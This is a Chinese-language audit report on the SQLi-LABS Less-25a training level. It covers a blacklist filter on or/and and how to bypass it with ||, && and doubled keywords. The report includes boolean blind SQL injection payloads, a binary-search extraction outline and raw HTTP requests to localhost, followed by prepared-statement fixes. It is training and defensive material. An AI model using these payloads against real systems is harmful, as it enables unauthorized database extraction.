sqli-labs-Less-25a-代码审计报告

12次阅读
没有评论

Less-25a 审计报告:黑名单过滤 or/and 绕过(数字型,盲注)

1. 关卡概述

项目 内容
关卡名称 Less-25a Trick with OR & AND Blind
源码路径 Less-25a/index.php
漏洞类型 SQL 注入 – 布尔盲注(黑名单 or/and 可绕过,数字型无引号)
注入点参数 GET /Less-25a/?id=
报错/盲注 盲注(无报错回显,仅行数据有无之分)
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-25a/index.php

// 第 21 行:用户输入直接取出
$id=$_GET['id'];

// 第 28 行:黑名单过滤
$id= blacklist($id);

// 第 35 行:数字型拼接 —— 无引号包裹
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

// 第 36 行:执行
$result=mysql_query($sql);

// 第 48~53 行:无任何报错回显(print_r 被注释)
//print_r(mysql_error());

// 第 64~70 行:黑名单 —— 大小写不敏感删除 or / and
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);
    $id= preg_replace('/AND/i',"", $id);
    return $id;
}

3. 漏洞分析

  • 与 Less-25 的差异:
    1. WHERE id=$id —— 数字型,无引号包裹,注入不需要闭合引号,payload 更短。
    2. 无报错回显 —— print_r(mysql_error()) 被注释(第 52 行),只能依据页面是否返回行(Your Login name/Your Password)做布尔盲注。
  • 过滤机制:同 Less-25,只删 or/and 关键字(大小写不敏感)。
  • 绕过方式:|| 代替 or;oorr 双写恢复为 or;&& 代替 and。
  • 利用方式:布尔盲注 —— 构造条件真/假时页面行数差异(有行/无行)。

4. 利用方式

步骤一:确认注入(逻辑绕过)

  • ?id=1||1 → WHERE id=1||1,恒真,返回 id=1 的行。
  • ?id=0||0 → WHERE id=0||0,恒假,无返回 → 布尔差异确认。

步骤二:布尔盲注验证数据(以 || 代替 or)

1||ascii(substr(database(),1,1))>100

ascii('s')=115>100 → 真 → 有行返回。逐位调整阈值即可爆破出 security。

步骤三:双写绕过验证

1 oorr 1

oorr 删中间 or 后剩 or,SQL 变为 WHERE id=1 or 1,恒真。

步骤四:完整盲注脚本思路

对每个字节:1||ascii(substr(database(),1,N))>X 二分逼近;表名、列名同理,利用 information_schema 子查询(子查询中的 from/where 不含被过滤的 or/and 时无需处理;若出现,用 oorr/aandnd 双写)。


5. Yakit 重放数据包

GET /sqli-labs/Less-25a/?id=1%7C%7Cascii(substr(database(),1,1))%3E100 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

双写验证报文:

GET /sqli-labs/Less-25a/?id=1%20oorr%201 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

布尔盲注为"有行 / 无行"差异,建议用 Yakit 的"响应内容对比"或正则匹配 Your Login name 自动判断真假。


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();

修复三:加固要点

  • 数字型参数强制 ctype_digit()/is_numeric()。
  • 废弃黑名单,采用白名单 + 参数化。
  • 即便无报错回显,布尔盲注依然可行 → 关键在参数化而非隐藏错误。
  • 数据库最小权限,升级 PHP 7+ / 8+。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
正文完
 0